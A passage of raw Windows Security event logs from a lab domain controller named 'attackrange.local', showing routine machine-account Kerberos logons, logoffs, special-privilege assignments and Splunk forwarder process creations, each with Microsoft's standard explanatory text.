C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:35:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255780 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x361F1A - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:35:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255779 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x361F1A - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 64746 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:35:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255778 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x361F1A - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:36:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255781 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1084 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:36:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255783 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1344 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:36:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255782 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10f8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:36:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255784 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1260 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:36:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255786 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1200 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:36:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255785 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xef8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:36:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255787 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1c8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:36:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255790 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3654F1 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:36:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255789 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x3654F1 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 64759 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:36:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255788 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3654F1 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:37:01 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255796 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3657C5 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:37:01 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255795 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x3657C5 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64763 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:37:01 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255794 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3657C5 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:37:01 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255793 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x365759 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:37:01 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255792 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x365759 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64762 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:37:01 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255791 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x365759 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:37:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255803 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x366167 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64766 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:37:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255802 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x366167 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:37:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255801 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x36611E - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 0 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:37:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255800 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x36611E - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:37:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255799 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x366010 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 